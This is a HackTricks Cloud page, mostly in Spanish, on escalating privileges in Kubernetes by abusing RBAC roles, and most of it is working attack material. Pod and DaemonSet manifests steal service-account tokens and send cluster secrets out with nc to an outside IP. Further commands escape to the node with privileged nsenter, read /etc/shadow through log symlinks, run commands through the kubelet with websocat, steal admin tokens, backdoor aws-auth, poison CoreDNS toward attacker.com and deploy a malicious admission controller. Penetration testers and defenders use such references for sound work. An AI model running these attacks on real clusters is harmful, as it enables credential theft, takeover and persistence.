Abusing Roles/ClusterRoles in Kubernetes
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Aquí puedes encontrar algunas configuraciones potencialmente peligrosas de Roles y ClusterRoles.
Recuerda que puedes obtener todos los recursos soportados con kubectl api-resources
Privilege Escalation
Refiriéndose al arte de obtener access to a different principal dentro del cluster with different privileges (dentro del Kubernetes cluster o hacia clouds externos) que las que ya tienes, en Kubernetes básicamente hay 4 main techniques to escalate privileges:
- Poder impersonate a otros user/groups/SAs con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
- Poder create/patch/exec pods donde puedas find or attach SAs con mejores privilegios dentro del Kubernetes cluster o hacia clouds externos
- Poder read secrets ya que los tokens de las SAs se almacenan como secrets
- Poder escape to the node desde un container, donde puedes robar todos los secrets de los containers que se ejecutan en el node, las credenciales del node y los permisos del node dentro del cloud donde se esté ejecutando (si los hay)
- Una quinta técnica que merece mención es la capacidad de run port-forward en un pod, ya que podrías acceder a recursos interesantes dentro de ese pod.
Access Any Resource or Verb (Wildcard)
El wildcard (*) gives permission over any resource with any verb. Lo usan los admins. Dentro de una ClusterRole esto significa que un atacante podría abusar de cualquier namespace en el cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Acceder a cualquier recurso con un verbo específico
En RBAC, ciertos permisos presentan riesgos significativos:
create: Concede la capacidad de crear cualquier recurso del cluster, arriesgando un escalamiento de privilegios.list: Permite listar todos los recursos, potencialmente leaking datos sensibles.get: Permite acceder a secrets de service accounts, lo que supone una amenaza para la seguridad.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Un atacante con los permisos para crear un pod podría adjuntar una Service Account privilegiada en el pod y robar el token para suplantar a la Service Account. Escalando efectivamente sus privilegios.
Ejemplo de un pod que robará el token de la bootstrap-signer service account y se lo enviará al atacante:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Lo siguiente indica todos los privilegios que puede tener un contenedor:
- Privileged access (deshabilitar protecciones y establecer capacidades)
- Deshabilitar los namespaces hostIPC y hostPid que pueden ayudar a escalar privilegios
- Deshabilitar el namespace hostNetwork, dando acceso para robar los privilegios en la nube de los nodos y un mejor acceso a las redes
- Montar el / del host dentro del contenedor
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Crea el pod con:
kubectl --token $token create -f mount_root.yaml
Comando de una sola línea de this tweet y con algunas adiciones:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Ahora que puedes escapar al node consulta post-exploitation techniques en:
Stealth
Probablemente quieras ser stealthier, en las páginas siguientes puedes ver a qué podrías acceder si creas un pod habilitando solo algunos de los privilegios mencionados en la plantilla anterior:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
You can find example of how to create/abuse the previous privileged pods configurations in https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Si puedes create un pod (y opcionalmente una service account) podrías ser capaz de obtain privileges in cloud environment al assigning cloud roles to a pod or a service account y luego acceder a él.\
Además, si puedes crear un pod with the host network namespace puedes steal the IAM role de la instancia del node.
For more information check:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Es posible abusar de estos permisos para create a new pod y escalar privilegios como en el ejemplo anterior.
El siguiente yaml creates a daemonset and exfiltrates the token of the SA dentro del pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec es un recurso en kubernetes usado para ejecutar comandos en una shell dentro de un pod. Esto permite ejecutar comandos dentro de los contenedores o obtener una shell dentro.
Por lo tanto, es posible entrar en un pod y robar el token del SA, o entrar en un pod privilegiado, escapar al node, y robar todos los tokens de los pods en el node y (ab)usar el node:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
Por defecto el comando se ejecuta en el primer contenedor del pod. Obtén todos los contenedores en un pod con
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'y luego indica el contenedor donde quieres ejecutarlo conkubectl exec -it <pod_name> -c <container_name> -- sh
Si es un distroless container puedes intentar usar shell builtins para obtener información de los contenedores o subir tus propias herramientas como un busybox usando: kubectl cp </path/local/file> <podname>:</path/in/container>.
port-forward
Este permiso permite redirigir un puerto local a un puerto en el pod especificado. Está pensado para facilitar la depuración de aplicaciones que se ejecutan dentro de un pod, pero un atacante podría abusar de ello para obtener acceso a aplicaciones interesantes (como DBs) o vulnerables (¿webs?) dentro de un pod:
kubectl port-forward pod/mypod 5000:5000
Hosts con /var/log/ escribible — Escape
Como indicated in this research, si puedes acceder o crear un pod con el directorio hosts /var/log/ mounted en él, puedes escape from the container.
Esto se debe básicamente a que cuando la Kube-API intenta obtener los logs de un contenedor (usando kubectl logs <pod>), solicita el archivo 0.log del pod usando el endpoint /logs/ del servicio Kubelet.
El servicio Kubelet expone el endpoint /logs/ que básicamente está exponiendo el filesystem /var/log del contenedor.
Por lo tanto, un atacante con acceso de escritura en la carpeta /var/log/ del contenedor podría abusar de este comportamiento de 2 maneras:
- Modificar el archivo
0.logde su contenedor (usualmente ubicado en/var/logs/pods/namespace_pod_uid/container/0.log) para que sea un symlink pointing to/etc/shadow, por ejemplo. Entonces, podrás exfiltrar el archivo shadow del host haciendo:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Si el atacante controla cualquier principal con los permisos para leer
nodes/log, puede simplemente crear un symlink en/host-mounted/var/log/symapuntando a/y al acceder ahttps://<gateway>:10250/logs/sym/listará el sistema de archivos raíz del host (cambiar el symlink puede proporcionar acceso a archivos).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Se puede encontrar un laboratorio y un exploit automatizado en https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Eludir la protección readOnly
Si tienes la suerte de que la capability altamente privilegiada CAP_SYS_ADMIN esté disponible, puedes simplemente volver a montar la carpeta como rw:
mount -o rw,remount /hostlogs/
Eludir la protección hostPath readOnly
Como se indica en this research es posible eludir la protección:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Esto estaba pensado para prevenir escapes como los anteriores: en lugar de usar un hostPath mount, usar un PersistentVolume y un PersistentVolumeClaim para montar una carpeta del host en el contenedor con acceso de escritura:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Suplantación de cuentas privilegiadas
Con el privilegio de user impersonation, un atacante podría suplantar una cuenta privilegiada.
Simplemente use el parámetro --as=<username> en el comando kubectl para suplantar a un usuario, o --as-group=<group> para suplantar a un grupo:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
O usa la REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Listar Secrets
El permiso para list secrets podría permitir a un atacante leer realmente los secrets accediendo al endpoint de la API REST:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Creación y lectura de Secrets
Existe un tipo especial de Secret de Kubernetes de tipo kubernetes.io/service-account-token que almacena tokens de serviceaccount. Si tienes permisos para crear y leer Secrets, y además conoces el nombre del serviceaccount, puedes crear un Secret como sigue y luego robar el token del serviceaccount víctima:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Ejemplo exploitation:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Ten en cuenta que si tienes permiso para crear y leer secrets en un namespace determinado, el victim serviceaccount también debe estar en ese mismo namespace.
Lectura de un secret – brute-forcing token IDs
Si bien un atacante en posesión de un token con permisos de lectura necesita el nombre exacto del secret para usarlo, a diferencia del privilegio más amplio de listing secrets, todavía existen vulnerabilidades. Default service accounts en el sistema pueden ser enumerados, cada uno asociado a un secret. Estos secrets tienen una estructura de nombre: un prefijo estático seguido de un token alfanumérico aleatorio de cinco caracteres (excluyendo ciertos caracteres) según el source code.
El token se genera a partir de un conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), en lugar del rango alfanumérico completo. Esta limitación reduce el total de combinaciones posibles a 14,348,907 (27^5). En consecuencia, un atacante podría, de forma factible, ejecutar un brute-force attack para deducir el token en cuestión de horas, lo que podría conducir a una escalada de privilegios al acceder a service accounts sensibles.
EncrpytionConfiguration en texto claro
Es posible encontrar claves en texto claro para cifrar datos en reposo en este tipo de objeto como:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Solicitudes de firma de certificados
Si tienes el verbo create en el recurso certificatesigningrequests ( o al menos en certificatesigningrequests/nodeClient). Puedes crear un nuevo CeSR de un nuevo nodo.
Según la documentación es posible autoaprobar estas solicitudes, por lo que en ese caso no necesitas permisos adicionales. Si no, necesitarías poder aprobar la solicitud, lo que significa actualizar en certificatesigningrequests/approval y approve en signers con resourceName <signerNameDomain>/<signerNamePath> o <signerNameDomain>/*
Un ejemplo de un role con todos los permisos requeridos es:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Entonces, con el nuevo node CSR aprobado, puedes abusar de los permisos especiales de los nodos para robar secretos y escalar privilegios.
En this post y this one la configuración GKE K8s TLS Bootstrap está configurada con automatic signing y se abusa de ella para generar credenciales de un nuevo K8s Node y luego usar esas credenciales para escalar privilegios robando secretos.
Si tienes los privilegios mencionados podrías hacer lo mismo. Ten en cuenta que el primer ejemplo evita el error que impide a un nuevo nodo acceder a los secretos dentro de los contenedores porque un nodo solo puede acceder a los secretos de los contenedores montados en él.
La forma de evitar esto es simplemente crear credenciales de nodo para el nombre de nodo donde está montado el contenedor con los secretos interesantes (pero consulta cómo hacerlo en el primer post):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Entidades (principals) que puedan modificar configmaps en el namespace kube-system en clusters EKS (necesitan estar en AWS) pueden obtener privilegios de administrador del cluster sobrescribiendo el aws-auth configmap.
Los verbos necesarios son update y patch, o create si el configmap no fue creado:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Puedes usar
aws-authpara persistencia otorgando acceso a usuarios de otras cuentas.Sin embargo,
aws --profile other_account eks update-kubeconfig --name <cluster-name>no funciona desde una cuenta diferente. Pero en realidadaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingfunciona si pones el ARN del cluster en lugar del nombre.
Para quekubectlfuncione, asegúrate de configurar el kubeconfig de la víctima y en los argumentos de aws exec añade--profile other_account_rolepara que kubectl use el perfil de la otra cuenta para obtener el token y contactar a AWS.
ConfigMap de CoreDNS
Si tienes permisos para modificar el coredns configmap en el kube-system namespace, puedes modificar a qué direcciones se resolverán los dominios para poder realizar ataques MitM y robar información sensible o inyectar contenido malicioso.
Los verbos necesarios son update y patch sobre el coredns configmap (o todos los config maps).
Un archivo coredns típico contiene algo como esto:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Un atacante podría descargarlo ejecutando kubectl get configmap coredns -n kube-system -o yaml, modificarlo añadiendo algo como rewrite name victim.com attacker.com para que, cada vez que se acceda a victim.com, en realidad se acceda al dominio attacker.com. Y luego aplicarlo ejecutando kubectl apply -f poison_dns.yaml.
Otra opción es simplemente editar el archivo ejecutando kubectl edit configmap coredns -n kube-system y hacer los cambios.
Escalación en GKE
Hay 2 formas de asignar K8s permissions a GCP principals. En cualquier caso el principal también necesita el permiso container.clusters.get para poder obtener credenciales para acceder al cluster, o necesitarás generar tu propio kubectl config file (sigue el siguiente enlace).
Warning
When talking to the K8s api endpoint, the GCP auth token will be sent. Then, GCP, through the K8s api endpoint, will first check if the principal (by email) has any access inside the cluster, then it will check if it has any access via GCP IAM.
If any of those are true, he will be responded. If not an error suggesting to give permissions via GCP IAM will be given.
Then, the first method is using GCP IAM, the K8s permissions have their equivalent GCP IAM permissions, and if the principal have it, it will be able to use it.
The second method is assigning K8s permissions inside the cluster to the identifying the user by its email (GCP service accounts included).
Create serviceaccounts token
Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).
ephemeralcontainers
Principals that can update or patch pods/ephemeralcontainers can gain code execution on other pods, and potentially break out to their node by adding an ephemeral container with a privileged securityContext
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principals with any of the verbs create, update or patch over validatingwebhookconfigurations or mutatingwebhookconfigurations might be able to create one of such webhookconfigurations in order to be able to escalate privileges.
For a mutatingwebhookconfigurations example check this section of this post.
Escalar
As you can read in the next section: Built-in Privileged Escalation Prevention, a principal cannot update neither create roles or clusterroles without having himself those new permissions. Except if he has the verb escalate or * over roles or clusterroles and the respective binding options.
Then he can update/create new roles, clusterroles with better permissions than the ones he has.
Nodes proxy
Principals with access to the nodes/proxy subresource can execute code on pods via the Kubelet API (according to this). More information about Kubelet authentication in this page:
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet maps HTTP methods to RBAC verbs before protocol upgrade. WebSocket handshakes must start with HTTP GET (
Connection: Upgrade), so/execover WebSocket is checked as verbgetinstead of the expectedcreate. /exec,/run,/attach, and/portforwardare not explicitly mapped and fall into the defaultproxysubresource, so the authorization question becomescan <user> get nodes/proxy?- If a token only has
nodes/proxy+get, direct WebSocket access to the kubelet onhttps://<node_ip>:10250allows arbitrary command execution in any pod on that node. The same request via the API server proxy path (/api/v1/nodes/<node>/proxy/exec/...) is denied because it is a normal HTTP POST and maps tocreate. - The kubelet performs no second authorization after the WebSocket upgrade; only the initial GET is evaluated.
Explotación directa (requiere alcanzabilidad de red al kubelet y un token con nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Usa el IP del nodo, no el nombre del nodo. La misma petición con
curl -X POSTserá Forbidden porque se mapea acreate. - El acceso directo al kubelet evita al servidor API, por lo que AuditPolicy solo muestra
subjectaccessreviewsdesde el kubelet user agent y no registrapods/exec. - Enumera las cuentas de servicio afectadas con el detection script para encontrar tokens limitados a
nodes/proxyGET.
Eliminar pods + nodos no programables
Identidades que pueden delete pods (delete verb over pods resource), o evict pods (create verb over pods/eviction resource), o change pod status (access to pods/status) y pueden make other nodes unschedulable (access to nodes/status) o delete nodes (delete verb over nodes resource) y tienen control sobre un pod, podrían steal pods from other nodes de modo que sean executed en el compromised node y el atacante pueda steal the tokens de esos pods.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
Principals que pueden modify services/status pueden establecer el campo status.loadBalancer.ingress.ip para explotar el unfixed CVE-2020-8554 y lanzar MiTM ataques contra el cluster. La mayoría de las mitigaciones para CVE-2020-8554 solo previenen ExternalIP services (según this).
Nodes and Pods status
Principals con permisos de update o patch sobre nodes/status o pods/status, podrían modificar labels para afectar las restricciones de scheduling aplicadas.
Built-in Privileged Escalation Prevention
Kubernetes tiene un built-in mechanism para prevenir la escalada de privilegios.
Este sistema asegura que los usuarios no pueden elevar sus privilegios modificando roles o role bindings. La aplicación de esta regla ocurre a nivel del API, proporcionando una salvaguarda incluso cuando el authorizer RBAC está inactivo.
La regla estipula que un usuario solo puede crear o actualizar un role si posee todos los permisos que el role comprende. Además, el alcance de los permisos existentes del usuario debe alinearse con el del role que intenta crear o modificar: ya sea a nivel de cluster para ClusterRoles o confinado al mismo namespace (o a nivel de cluster) para Roles.
Warning
Existe una excepción a la regla anterior. Si un principal tiene el verb
escalatesobrerolesoclusterrolespuede aumentar los privilegios de roles y clusterroles incluso sin poseer esos permisos él mismo.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Apparently this technique worked before, but according to my tests it’s not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don’t have already.
El privilegio para crear Rolebindings permite a un usuario bind roles to a service account. Este privilegio puede potencialmente llevar a una escalada de privilegios porque permite al usuario bind admin privileges a una service account comprometida.
Other Attacks
Sidecar proxy app
Por defecto no existe cifrado en la comunicación entre pods. Autenticación mutua, two-way, pod to pod.
Create a sidecar proxy app
Un sidecar container consiste simplemente en añadir un second (or more) container inside a pod.
For example, the following is part of the configuration of a pod with 2 containers:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Por ejemplo, para backdoor un pod existente con un nuevo container podrías simplemente añadir un nuevo container en la especificación. Ten en cuenta que podrías dar más permisos al segundo container que el primero no tendrá.
More info at: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Controlador de admisión malicioso
Un controlador de admisión intercepta las solicitudes al Kubernetes API server antes de la persistencia del objeto, pero después de que la solicitud esté autenticada y autorizada.
Si un atacante de alguna manera logra inyectar un Mutation Admission Controller, podrá modificar solicitudes ya autenticadas. Esto le permitiría potencialmente privesc, y más comúnmente persistir en el cluster.
Ejemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Comprueba el estado para ver si está listo:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

A continuación, despliega un nuevo pod:
kubectl run nginx --image nginx
kubectl get po -w
Cuando veas un error ErrImagePull, verifica el nombre de la imagen con cualquiera de las consultas:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Como puede verse en la imagen anterior, intentamos ejecutar la imagen nginx pero la imagen finalmente ejecutada es rewanthtammana/malicious-image. ¿Qué acaba de suceder?
Detalles técnicos
El script ./deploy.sh establece un controlador de admisión mutating webhook, que modifica las solicitudes a la API de Kubernetes según se especifica en sus líneas de configuración, influyendo en los resultados observados:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
El fragmento anterior reemplaza la primera imagen de contenedor en cada pod con rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Mejores prácticas
Deshabilitar el montaje automático de tokens de cuentas de servicio
- Pods y cuentas de servicio: Por defecto, los pods montan un token de cuenta de servicio. Para aumentar la seguridad, Kubernetes permite deshabilitar esta funcionalidad de automount.
- Cómo aplicarlo: Configure
automountServiceAccountToken: falseen la configuración de las cuentas de servicio o pods a partir de la versión 1.6 de Kubernetes.
Asignación restrictiva de usuarios en RoleBindings/ClusterRoleBindings
- Inclusión selectiva: Asegúrese de que solo los usuarios necesarios estén incluidos en RoleBindings o ClusterRoleBindings. Audite periódicamente y elimine usuarios irrelevantes para mantener una seguridad estricta.
Roles por namespace en lugar de Roles a nivel de clúster
- Roles vs. ClusterRoles: Prefiera usar Roles y RoleBindings para permisos específicos de namespace en lugar de ClusterRoles y ClusterRoleBindings, que aplican a todo el clúster. Este enfoque ofrece un control más fino y limita el alcance de los permisos.
Usar herramientas automatizadas
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
Referencias
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

